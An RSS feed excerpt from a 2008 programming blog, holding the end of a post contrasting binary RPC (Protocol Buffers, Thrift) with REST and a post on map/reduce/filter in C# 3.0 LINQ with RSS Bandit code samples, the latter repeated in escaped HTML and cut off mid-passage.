That’s interesting. Didn’t Steve Vinoski recently claim that &lt;a title="Convenience over Correctness" href="http://steve.vinoski.net/blog/2008/07/01/convenience-over-correctness/"&gt;RPC
and it's descendants are &amp;quot;fundamentally flawed&amp;quot;&lt;/a&gt;? If so, why are Google
and Facebook not only using RPC but proud enough of their usage of yet another distributed
object RPC technology &lt;em&gt;based on binary protocols&lt;/em&gt; that they are Open Sourcing
them? Didn’t they get the memo that everyone is now on the REST + JSON/XML bandwagon
(&lt;a href="http://www.tbray.org/ongoing/When/200x/2008/07/07/Atom"&gt;preferrably AtomPub&lt;/a&gt;)? 
&lt;/p&gt;
&lt;p&gt;
In truth, Google is on the REST + XML band wagon. Google has the Google Data APIs
(&lt;a href="http://code.google.com/apis/gdata/"&gt;GData&lt;/a&gt;) which is a consistent set
of RESTful APIs for accessing data from Google's services based on the Atom Publishing
Protocol aka RFC 5023. And even Facebook has a set of plain old XML over HTTP APIs
(POX/HTTP) which they &lt;strong&gt;incorrectly&lt;/strong&gt; refer to as the &lt;a href="http://wiki.developers.facebook.com/index.php/API"&gt;Facebook
REST API&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
So what is the story here? 
&lt;/p&gt;
&lt;p&gt;
It is all about coupling and how much control you have over the distributed end points.
On the Web where you have little to no control over who talks to your servers or what
technology they use, you want to utilize flexible technologies that make no assumptions
about either end of the communication. This is where RESTful XML-based Web services
shine. However when you have tight control over the service end points (e.g. if they
are all your servers running in your data center) then you can use more optimized
communications technologies that add a layer of tight coupling to your system. An
example of the kind of tight coupling you have to live with is that&amp;#160; Facebook
Thrift requires specific versions of g++ and Java if you plan to talk to it using
code written in either language and you can’t talk to it from a service written in
C#. 
&lt;/p&gt;
&lt;p&gt;
In general, the Web is about openness and loose coupling. Binary protocols that require
specific programming languages and runtimes are the exact opposite of this. However
inside your Web service where you control both ends of the pipe, you can optimize
the interaction between your services and simplify development by going with a binary
RPC based technology. More than likely different parts of your system are already
doing this anyway (e.g. &lt;a href="http://www.danga.com/memcached/"&gt;memcached&lt;/a&gt; uses
a binary protocol to talk between cache instances, SQL Server uses &lt;a href="http://msdn.microsoft.com/en-us/library/cc448435.aspx"&gt;TDS&lt;/a&gt; as
the communications protocol between the database and it's clients, etc). 
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
Always remember to use the right tool for the job. One size doesn’t fit all when it
comes to technology decisions. 
&lt;/p&gt;
&lt;p&gt;
FURTHER READING 
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://keithelder.net/blog/archive/2008/01/17/Exposing-a-WCF-Service-With-Multiple-Bindings-and-Endpoints.aspx"&gt;Exposing
a WCF Service With Multiple Bindings and Endpoints&lt;/a&gt; – Keith Elder describes how
Windows Communication Foundation (WCF) supports multiple bindings that enable developers
to expose their services in a variety of ways.&amp;#160; A developer can create a service
once and then expose it to support net.tcp:// or http:// and various versions of http://
(Soap1.1, Soap1.2, WS*, JSON, etc).&amp;#160; This can be useful if a service crosses
boundaries between the intranet and the Internet. 
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;b&gt;Now Playing:&lt;/b&gt; &lt;a href="http://www.amazon.com/gp/search/ref=sr_adv_m_pop/?search-alias=popular&amp;amp;unfiltered=1&amp;amp;field-keywords=&amp;amp;field-artist=Pink&amp;amp;field-title=&amp;amp;field-label=&amp;amp;field-binding=&amp;amp;sort=relevancerank&amp;amp;Adv-Srch-Music-Album-Submit.x=19&amp;amp;Adv-Srch-Music-Album-Submit.y=6"&gt;Pink&lt;/a&gt; - &lt;a href="http://www.amazon.com/s/ref=nb_ss_dmusic?url=search-alias%3Ddigital-music&amp;amp;field-keywords=Pink+Family Portrait&amp;amp;x=0&amp;amp;y=0"&gt;Family
Portrait&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=898f56ef-0439-4100-90da-08701be03c13" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,898f56ef-0439-4100-90da-08701be03c13.aspx</comments>
      <category>Platforms</category>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=3d5755bf-43cf-4d47-a7ec-b60f6b536702</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,3d5755bf-43cf-4d47-a7ec-b60f6b536702.aspx</pingback:target>
      <dc:creator>Dare Obasanjo</dc:creator>
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,3d5755bf-43cf-4d47-a7ec-b60f6b536702.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=3d5755bf-43cf-4d47-a7ec-b60f6b536702</wfw:commentRss>
      <slash:comments>9</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
As a developer who was raised on procedural and object oriented programming languages
like C, C++ and Java it took me a while to figure out what people were raving about
when it comes to the benefits of functional programming techniques. I always thought <a href="http://en.wikipedia.org/wiki/Closure_%28computer_science%29">closures</a> and  <a href="http://en.wikipedia.org/wiki/Higher-order_function">higher
order functions</a> were words used by snobby kids from MIT and grad students to show
how overeducated they were as opposed to programming tools I'd ever find useful. 
</p>
        <p>
This thinking was additionally fueled by articles like Joel Spolsky's <a title="http://www.joelonsoftware.com/items/2006/08/01.html" href="http://www.joelonsoftware.com/items/2006/08/01.html">Can
Your Programming Language Do This?</a> which not only came off as snobby but also
cemented the impression that higher order functions like <a href="http://en.wikipedia.org/wiki/Map_%28higher-order_function%29">map()</a> and <a href="http://en.wikipedia.org/wiki/Reduce_%28higher-order_function%29">reduce()</a> are
for people solving "big" problems like the folks at Google who are trying to categorize
the entire World Wide Web not people like me who write desktop feed readers in their
free time. 
</p>
        <p>
All of this changed when I started learning Python. 
</p>
        <p>
With Python I started <a href="http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx">writing</a> <a href="http://www.25hoursaday.com/weblog/2007/12/31/CommandLineClientForGoogleReaderInIronPython.aspx">programs</a> that
threw around lambda functions and used list comprehensions to map, reduce and filter
without even thinking twice about it. Afterwards when I'd go back to programming in
C# 2.0 I'd marvel at how much more code it took to get things done. There were tasks
which I could perform in a line of Python code that took four, five sometimes up to
ten lines of C# code. I began to miss Python sorely. 
</p>
        <p>
Then I installed Visual Studio 2008 and got to use the <a href="http://en.wikipedia.org/wiki/Language_Integrated_Query">Language
Integrated Query (LINQ) features of C# 3.0</a> and was blown away. The C# folks had
not only brought over functional programming constructs like <a href="http://en.wikipedia.org/wiki/Lambda_expressions">lambda
expressions</a> (aka anonymous methods) but also had added the 3 core functions (map,
reduce and filter) to all lists, collections and other implementers of the IEnumerable
interface. So what are map, reduce and filter? They are higher order functions [which
means they take <em>functions</em> as input] that operate on lists of objects. Here
are their definitions from <a href="http://docs.python.org/lib/built-in-funcs.html">the
Python documentation</a> along with links to their C# 3.0 equivalents. 
</p>
        <blockquote>
          <table border="1" cellpadding="2" cellspacing="0" width="533">
            <tbody>
              <tr>
                <td valign="top" width="128">
                  <strong>Function name in Python</strong>
                </td>
                <td valign="top" width="236">
                  <strong>Description from Python Documentation</strong>
                </td>
                <td valign="top" width="164">
                  <strong>C# 3.0 Equivalent</strong>
                </td>
              </tr>
              <tr>
                <td valign="top" width="129">
map</td>
                <td valign="top" width="236">
Apply <var>function</var> to every item of <var>iterable</var> and return a list of
the results.</td>
                <td valign="top" width="164">
                  <a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.select.aspx">Enumerable.Select</a>
                </td>
              </tr>
              <tr>
                <td valign="top" width="130">
reduce (aka fold or  accumulate)</td>
                <td valign="top" width="236">
Apply <var>function</var> of two arguments cumulatively to the items of <var>iterable</var>,
from left to right, so as to reduce the iterable to a single value. For example, <code>reduce(lambda
x, y: x+y, [1, 2, 3, 4, 5])</code> calculates <code>((((1+2)+3)+4)+5)</code>. The
left argument, <var>x</var>, is the accumulated value and the right argument, <var>y</var>,
is the update value from the <var>iterable</var>. If the optional <var>initializer</var> is
present, it is placed before the items of the iterable in the calculation, and serves
as a default when the iterable is empty.</td>
                <td valign="top" width="164">
                  <a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.aggregate.aspx">Enumerable.Aggregate</a>
                </td>
              </tr>
              <tr>
                <td valign="top" width="130">
filter</td>
                <td valign="top" width="236">
Construct a list from those elements of <var>iterable</var> for which <var>function</var> returns
true. <var>iterable</var> may be either a sequence, a container which supports iteration,
or an iterator.</td>
                <td valign="top" width="164">
                  <a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.where.aspx">Enumerable.Where</a>
                </td>
              </tr>
            </tbody>
          </table>
        </blockquote>
        <p>
With these three building blocks, you could replace the majority of the procedural
for loops in your application with a single line of code. C# 3.0 doesn't just stop
there. There are also a number of other useful higher order functions available on
all enumerable/collection objects. 
</p>
        <p>
In the next version of <a href="http://www.rssbandit.org">RSS Bandit</a>, we will
support synchronizing your subscription state from Google Reader, NewsGator Online
and the Common Feed List provided by the Windows RSS platform. This means that when
the user hits [Update All Feeds] to refresh their subscriptions we need to (i) aggregate
the unread item count across the different feed sources and store it (ii) ask each
feed source to kick off its update process and (iii) on completion of the update determine
if there are new items by recalculating the unread count across all feed sources and
see if it differs from the value we got in the first step. Here's what the <code>UpdateAllFeeds()</code> method
looks like  
</p>
        <pre class="code">
          <span style="color: blue;"> public void </span>UpdateAllFeeds(<span style="color: blue;">bool </span>force_download)<br />
{<br /><span style="color: rgb(43, 145, 175);">List</span><span style="color: red;">&lt;</span><span style="color: rgb(43, 145, 175);">SubscriptionRootNode</span><span style="color: red;">&gt; </span>rootNodes <span style="color: red;">= </span><span style="color: blue;">this</span><span style="color: red;">.</span>GetAllSubscriptionRootNodes();<br /><span style="color: blue;">if </span>(rootNodes <span style="color: red;">!= </span><span style="color: blue;">null</span>)<br />
{<br /><span style="color: blue;">if </span>(_timerRefreshFeeds<span style="color: red;">.</span>Enabled)<br />
_timerRefreshFeeds<span style="color: red;">.</span>Stop();<br />
_lastUnreadFeedItemCountBeforeRefresh <span style="color: red;">= </span>rootNodes<span style="color: red;">.</span>Sum(n <span style="color: red;">=&gt; </span>n<span style="color: red;">.</span>UnreadCount);<br />
FeedSources<span style="color: red;">.</span>Sources<span style="color: red;">.</span>ForEach(s <span style="color: red;">=&gt; </span>s<span style="color: red;">.</span>RefreshFeeds(force)); 
<br />
}<br />
}</pre>
        <p>
In the <code>UpdateAllFeeds()</code> method we use <a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.sum.aspx">Enumerable.Sum</a> which
is a specialized reduce() function to calclulate the unread count of each of the different
subscription sources. Then we use a <a href="http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=2386791&amp;SiteID=1">ForEach</a> extension
method to effectively loop through each feed source and call its <code>RefreshFeeds() </code>method.
That would have been two for loops in older versions of C# or Java. 
</p>
        <p>
We also perform more complicated reduce or fold operations which go outside the norm
of just accumulating some numeric value in RSS Bandit. When a user subscribes to a
new feed, we populate a drop down list with the list of categories from the user's
subscriptions so the user can decide which category to place the feed in. With multiple
feed sources, we need to populate the drop down with the list of categories used in
Google Reader, NewsGator, the Windows Common Feed List as well as those within RSS
Bandit while taking care to eliminate duplicates. The <code>GetCategories()</code> method
shown below does the bulk of that work in a single line of code via <a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.aggregate.aspx">Enumerable.Aggregate</a></p>
        <blockquote>
          <pre class="code">
            <span style="color: blue;">public </span>
            <span style="color: rgb(43, 145, 175);">IEnumerable</span>
            <span style="color: red;">&lt;</span>
            <span style="color: blue;">string</span>
            <span style="color: red;">&gt; </span>GetCategories()
{ <span style="color: green;">//list containing default category used for bootstrapping
the Aggregate function </span><span style="color: blue;">var </span>c <span style="color: red;">= </span><span style="color: blue;">new </span><span style="color: rgb(43, 145, 175);">List</span><span style="color: red;">&lt;</span><span style="color: blue;">string</span><span style="color: red;">&gt;</span>();
c<span style="color: red;">.</span>Add(DefaultCategory); <span style="color: rgb(43, 145, 175);">IEnumerable</span><span style="color: red;">&lt;</span><span style="color: blue;">string</span><span style="color: red;">&gt; </span>all_categories <span style="color: red;">= </span>c; <span style="color: green;">//get
a list of the distinct categories used across all feed sources </span>all_categories <span style="color: red;">= </span>FeedSources<span style="color: red;">.</span>Sources<span style="color: red;">.</span>Aggregate(all_categories,
(list, s) <span style="color: red;">=&gt; </span>list<span style="color: red;">.</span>Union(s<span style="color: red;">.</span>Source<span style="color: red;">.</span>GetCategories()<span style="color: red;">.</span>Keys, <span style="color: rgb(43, 145, 175);">StringComparer</span><span style="color: red;">.</span>InvariantCultureIgnoreCase)); <span style="color: blue;">return </span>all_categories;
}</pre>
        </blockquote>
        <p>
          <a href="http://11011.net/software/vspaste">
          </a>
          <a href="http://11011.net/software/vspaste">
          </a>The
first step is to set up a list with the default category ("Unclassified") and then
use <code>Aggregate() </code>to go through each source and perform a union of the
current list of categories with the list of categories from that feed source. The
categories are compared in a case insensitive manner to remove duplicates from the
union. If there are no categories defined in any of the feed sources then only the
default category ends up being returned. 
</p>
        <p>
When a user is viewing their Google Reader feeds in RSS Bandit, any action the user
takes in the application is reflected on the Web. So each time a user marks an item
as read, renames a feed title, subscribes or unsubscribes from a feed, a Web request
is made behind the scenes to update the user's state on the Web via Google Reader's
REST API. Instead of making the Web requests synchronously and possibly tying up the
UI I instead add each Web request intended for the Google Reader API to a queue of
pending operations. Since the operations may sit in the queue for a few seconds or
minutes in the worst case, we can optimize network usage by removing events from the
queue if they end up being redundant. 
</p>
        <p>
For example. the <code>DeleteFeedFromGoogleReader()</code> method removes every pending
operation related to a particular feed if an unsubscribe event is enqueued. After
all, there is no point in making Web requests to mark the feed as read or rename it,
if the next request from the user is to unsubscribe from the feed. The method uses
a filter operation, <a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.where.aspx">Enumerable.Where</a>,
to determine the events to remove as shown below
</p>
        <pre class="code">
          <span style="color: blue;"> public void </span>DeleteFeedFromGoogleReader(<span style="color: blue;">string </span>googleUserID, <span style="color: blue;">string </span>feedUrl)
{ <span style="color: blue;">var </span>deleteOp <span style="color: red;">= </span><span style="color: blue;">new </span><span style="color: rgb(43, 145, 175);">PendingGoogleReaderOperation</span>(<span style="color: rgb(43, 145, 175);">GoogleReaderOperation</span><span style="color: red;">.</span>DeleteFeed, <span style="color: blue;">new
object</span>[] {feedUrl},googleUserID); <span style="color: blue;">lock </span>(pendingGoogleReaderOperations)
{ <span style="color: green;">//remove all pending operations related to the feed
since it is going to be unsubscribed </span><span style="color: rgb(43, 145, 175);">IEnumerable</span><span style="color: red;">&lt;</span><span style="color: rgb(43, 145, 175);">PendingGoogleReaderOperation</span><span style="color: red;">&gt; </span>ops2remove <span style="color: red;">= </span>pendingGoogleReaderOperations<span style="color: red;">.</span>Where(op <span style="color: red;">=&gt; </span>op<span style="color: red;">.</span>GoogleUserName<span style="color: red;">.</span>Equals(deleteOp<span style="color: red;">.</span>GoogleUserName) <span style="color: red;">&amp;&amp; </span>op<span style="color: red;">.</span>Parameters<span style="color: red;">.</span>Contains(feedUrl)); <span style="color: blue;">foreach </span>(<span style="color: rgb(43, 145, 175);">PendingGoogleReaderOperation </span>op2remove <span style="color: blue;">in </span>ops2remove)
{ pendingGoogleReaderOperations<span style="color: red;">.</span>Remove(op2remove);
} pendingGoogleReaderOperations<span style="color: red;">.</span>Add(deleteOp); }
}</pre>
        <p>
There are more examples from the RSS Bandit code base but I'm sure you get the idea.
The point is that functional programming techniques give you the ability to get more
bang for your buck (where bucks are lines of code) even when performing the most mundane
of tasks.  
</p>
        <p>
If your programming language doesn't support lambda functions or have map/reduce/filter
functions built in, you just might be a <a href="http://weblog.raganwald.com/2006/10/are-we-blub-programmers.html">Blub
Programmer</a> who is missing out on being more productive because your programming
language doesn't support "esoteric" or "weird" features. 
</p>
        <p>
My next step is to spend more time with Lisp. Wish me luck. :) 
</p>
        <p>
          <b>Now Playing</b>: <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lil%20Wayne">Lil
Wayne</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lil%20Wayne&amp;songTerm=Lollipop%20%28remix%29%20%28feat.%20Kanye%20West%29">Lollipop
(remix) (feat. Kanye West)</a></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=3d5755bf-43cf-4d47-a7ec-b60f6b536702" />
      </body>
      <title>Functional Programming in C# 3.0: How Map/Reduce/Filter can Rock your World</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,3d5755bf-43cf-4d47-a7ec-b60f6b536702.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/06/16/FunctionalProgrammingInC30HowMapReduceFilterCanRockYourWorld.aspx</link>
      <pubDate>Mon, 16 Jun 2008 11:03:34 GMT</pubDate>
      <description>&lt;p&gt;
As a developer who was raised on procedural and object oriented programming languages
like C, C++ and Java it took me a while to figure out what people were raving about
when it comes to the benefits of functional programming techniques. I always thought &lt;a href="http://en.wikipedia.org/wiki/Closure_%28computer_science%29"&gt;closures&lt;/a&gt; and&amp;nbsp; &lt;a href="http://en.wikipedia.org/wiki/Higher-order_function"&gt;higher
order functions&lt;/a&gt; were words used by snobby kids from MIT and grad students to show
how overeducated they were as opposed to programming tools I'd ever find useful. 
&lt;/p&gt;
&lt;p&gt;
This thinking was additionally fueled by articles like Joel Spolsky's &lt;a title="http://www.joelonsoftware.com/items/2006/08/01.html" href="http://www.joelonsoftware.com/items/2006/08/01.html"&gt;Can
Your Programming Language Do This?&lt;/a&gt; which not only came off as snobby but also
cemented the impression that higher order functions like &lt;a href="http://en.wikipedia.org/wiki/Map_%28higher-order_function%29"&gt;map()&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Reduce_%28higher-order_function%29"&gt;reduce()&lt;/a&gt; are
for people solving "big" problems like the folks at Google who are trying to categorize
the entire World Wide Web not people like me who write desktop feed readers in their
free time. 
&lt;/p&gt;
&lt;p&gt;
All of this changed when I started learning Python. 
&lt;/p&gt;
&lt;p&gt;
With Python I started &lt;a href="http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx"&gt;writing&lt;/a&gt;&amp;nbsp;&lt;a href="http://www.25hoursaday.com/weblog/2007/12/31/CommandLineClientForGoogleReaderInIronPython.aspx"&gt;programs&lt;/a&gt; that
threw around lambda functions and used list comprehensions to map, reduce and filter
without even thinking twice about it. Afterwards when I'd go back to programming in
C# 2.0 I'd marvel at how much more code it took to get things done. There were tasks
which I could perform in a line of Python code that took four, five sometimes up to
ten lines of C# code. I began to miss Python sorely. 
&lt;/p&gt;
&lt;p&gt;
Then I installed Visual Studio 2008 and got to use the &lt;a href="http://en.wikipedia.org/wiki/Language_Integrated_Query"&gt;Language
Integrated Query (LINQ) features of C# 3.0&lt;/a&gt; and was blown away. The C# folks had
not only brought over functional programming constructs like &lt;a href="http://en.wikipedia.org/wiki/Lambda_expressions"&gt;lambda
expressions&lt;/a&gt; (aka anonymous methods) but also had added the 3 core functions (map,
reduce and filter) to all lists, collections and other implementers of the IEnumerable
interface. So what are map, reduce and filter? They are higher order functions [which
means they take &lt;em&gt;functions&lt;/em&gt; as input] that operate on lists of objects. Here
are their definitions from &lt;a href="http://docs.python.org/lib/built-in-funcs.html"&gt;the
Python documentation&lt;/a&gt; along with links to their C# 3.0 equivalents. 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;table border="1" cellpadding="2" cellspacing="0" width="533"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td valign="top" width="128"&gt;
&lt;strong&gt;Function name in Python&lt;/strong&gt;&lt;/td&gt;
&lt;td valign="top" width="236"&gt;
&lt;strong&gt;Description from Python Documentation&lt;/strong&gt;&lt;/td&gt;
&lt;td valign="top" width="164"&gt;
&lt;strong&gt;C# 3.0 Equivalent&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="129"&gt;
map&lt;/td&gt;
&lt;td valign="top" width="236"&gt;
Apply &lt;var&gt;function&lt;/var&gt; to every item of &lt;var&gt;iterable&lt;/var&gt; and return a list of
the results.&lt;/td&gt;
&lt;td valign="top" width="164"&gt;
&lt;a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.select.aspx"&gt;Enumerable.Select&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="130"&gt;
reduce (aka fold or&amp;nbsp; accumulate)&lt;/td&gt;
&lt;td valign="top" width="236"&gt;
Apply &lt;var&gt;function&lt;/var&gt; of two arguments cumulatively to the items of &lt;var&gt;iterable&lt;/var&gt;,
from left to right, so as to reduce the iterable to a single value. For example, &lt;code&gt;reduce(lambda
x, y: x+y, [1, 2, 3, 4, 5])&lt;/code&gt; calculates &lt;code&gt;((((1+2)+3)+4)+5)&lt;/code&gt;. The
left argument, &lt;var&gt;x&lt;/var&gt;, is the accumulated value and the right argument, &lt;var&gt;y&lt;/var&gt;,
is the update value from the &lt;var&gt;iterable&lt;/var&gt;. If the optional &lt;var&gt;initializer&lt;/var&gt; is
present, it is placed before the items of the iterable in the calculation, and serves
as a default when the iterable is empty.&lt;/td&gt;
&lt;td valign="top" width="164"&gt;
&lt;a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.aggregate.aspx"&gt;Enumerable.Aggregate&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign="top" width="130"&gt;
filter&lt;/td&gt;
&lt;td valign="top" width="236"&gt;
Construct a list from those elements of &lt;var&gt;iterable&lt;/var&gt; for which &lt;var&gt;function&lt;/var&gt; returns
true. &lt;var&gt;iterable&lt;/var&gt; may be either a sequence, a container which supports iteration,
or an iterator.&lt;/td&gt;
&lt;td valign="top" width="164"&gt;
&lt;a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.where.aspx"&gt;Enumerable.Where&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
With these three building blocks, you could replace the majority of the procedural
for loops in your application with a single line of code. C# 3.0 doesn't just stop
there. There are also a number of other useful higher order functions available on
all enumerable/collection objects. 
&lt;/p&gt;
&lt;p&gt;
In the next version of &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt;, we will
support synchronizing your subscription state from Google Reader, NewsGator Online
and the Common Feed List provided by the Windows RSS platform. This means that when
the user hits [Update All Feeds] to refresh their subscriptions we need to (i) aggregate
the unread item count across the different feed sources and store it (ii) ask each
feed source to kick off its update process and (iii) on completion of the update determine
if there are new items by recalculating the unread count across all feed sources and
see if it differs from the value we got in the first step. Here's what the &lt;code&gt;UpdateAllFeeds()&lt;/code&gt; method
looks like&amp;nbsp; 
&lt;/p&gt;
&lt;pre class="code"&gt;&lt;span style="color: blue;"&gt; public void &lt;/span&gt;UpdateAllFeeds(&lt;span style="color: blue;"&gt;bool &lt;/span&gt;force_download)&lt;br&gt;
{&lt;br&gt;
&lt;span style="color: rgb(43, 145, 175);"&gt;List&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(43, 145, 175);"&gt;SubscriptionRootNode&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;gt; &lt;/span&gt;rootNodes &lt;span style="color: red;"&gt;= &lt;/span&gt;&lt;span style="color: blue;"&gt;this&lt;/span&gt;&lt;span style="color: red;"&gt;.&lt;/span&gt;GetAllSubscriptionRootNodes();&lt;br&gt;
&lt;span style="color: blue;"&gt;if &lt;/span&gt;(rootNodes &lt;span style="color: red;"&gt;!= &lt;/span&gt;&lt;span style="color: blue;"&gt;null&lt;/span&gt;)&lt;br&gt;
{&lt;br&gt;
&lt;span style="color: blue;"&gt;if &lt;/span&gt;(_timerRefreshFeeds&lt;span style="color: red;"&gt;.&lt;/span&gt;Enabled)&lt;br&gt;
_timerRefreshFeeds&lt;span style="color: red;"&gt;.&lt;/span&gt;Stop();&lt;br&gt;
_lastUnreadFeedItemCountBeforeRefresh &lt;span style="color: red;"&gt;= &lt;/span&gt;rootNodes&lt;span style="color: red;"&gt;.&lt;/span&gt;Sum(n &lt;span style="color: red;"&gt;=&amp;gt; &lt;/span&gt;n&lt;span style="color: red;"&gt;.&lt;/span&gt;UnreadCount);&lt;br&gt;
FeedSources&lt;span style="color: red;"&gt;.&lt;/span&gt;Sources&lt;span style="color: red;"&gt;.&lt;/span&gt;ForEach(s &lt;span style="color: red;"&gt;=&amp;gt; &lt;/span&gt;s&lt;span style="color: red;"&gt;.&lt;/span&gt;RefreshFeeds(force)); 
&lt;br&gt;
}&lt;br&gt;
}&lt;/pre&gt;
&lt;p&gt;
In the &lt;code&gt;UpdateAllFeeds()&lt;/code&gt; method we use &lt;a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.sum.aspx"&gt;Enumerable.Sum&lt;/a&gt; which
is a specialized reduce() function to calclulate the unread count of each of the different
subscription sources. Then we use a &lt;a href="http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=2386791&amp;amp;SiteID=1"&gt;ForEach&lt;/a&gt; extension
method to effectively loop through each feed source and call its &lt;code&gt;RefreshFeeds() &lt;/code&gt;method.
That would have been two for loops in older versions of C# or Java. 
&lt;/p&gt;
&lt;p&gt;
We also perform more complicated reduce or fold operations which go outside the norm
of just accumulating some numeric value in RSS Bandit. When a user subscribes to a
new feed, we populate a drop down list with the list of categories from the user's
subscriptions so the user can decide which category to place the feed in. With multiple
feed sources, we need to populate the drop down with the list of categories used in
Google Reader, NewsGator, the Windows Common Feed List as well as those within RSS
Bandit while taking care to eliminate duplicates. The &lt;code&gt;GetCategories()&lt;/code&gt; method
shown below does the bulk of that work in a single line of code via &lt;a href="http://msdn.microsoft.com/en-us/library/system.linq.enumerable.aggregate.aspx"&gt;Enumerable.Aggregate&lt;/a&gt;
&lt;/p&gt;
&lt;blockquote&gt;&lt;pre class="code"&gt;&lt;span style="color: blue;"&gt;public &lt;/span&gt;&lt;span style="color: rgb(43, 145, 175);"&gt;IEnumerable&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: blue;"&gt;string&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;gt; &lt;/span&gt;GetCategories()
{ &lt;span style="color: green;"&gt;//list containing default category used for bootstrapping
the Aggregate function &lt;/span&gt;&lt;span style="color: blue;"&gt;var &lt;/span&gt;c &lt;span style="color: red;"&gt;= &lt;/span&gt;&lt;span style="color: blue;"&gt;new &lt;/span&gt;&lt;span style="color: rgb(43, 145, 175);"&gt;List&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: blue;"&gt;string&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;gt;&lt;/span&gt;();
c&lt;span style="color: red;"&gt;.&lt;/span&gt;Add(DefaultCategory); &lt;span style="color: rgb(43, 145, 175);"&gt;IEnumerable&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: blue;"&gt;string&lt;/span&gt;&lt;span style="color: red;"&gt;&amp;gt; &lt;/span&gt;all_categories &lt;span style="color: red;"&gt;= &lt;/span&gt;c; &lt;span style="color: green;"&gt;//get
a list of the distinct categories used across all feed sources &lt;/span&gt;all_categories &lt;span style="color: red;"&gt;= &lt;/span&gt;FeedSources&lt;span style="color: red;"&gt;.&lt;/span&gt;Sources&lt;span style="color: red;"&gt;.&lt;/span&gt;Aggregate(all_categories,
(list, s) &lt;span style="color: red;"&gt;=&amp;gt; &lt;/span&gt;list&lt;span style="color: red;"&gt;.&lt;/span&gt;Union(s&lt;span style="color: red;"&gt;.&lt;/span&gt;Source&lt;span style="color: red;"&gt;.&lt;/span&gt;GetCategories()&lt;span style="color: red;"&gt;.&lt;/span&gt;Keys, &lt;span style="color: rgb(43, 145, 175);"&gt;StringComparer&lt;/span&gt;&lt;span style="color: red;"&gt;.&lt;/span&gt;InvariantCultureIgnoreCase)); &lt;span style="color: blue;"&gt;return &lt;/span&gt;all_categories;
}&lt;/pre&gt;&lt;/blockquote&gt; 
&lt;p&gt;
&lt;a href="http://11011.net/software/vspaste"&gt;&lt;/a&gt;&lt;a href="http://11011.net/software/vspaste"&gt;&lt;/a&gt;The
first step is to set up a list with the default category ("Unclassified") and then
use &lt;code&gt;Aggregate() &lt;/code&gt;to go through each source and perform a union of the
current list of categories with the list of categories from that feed source. The
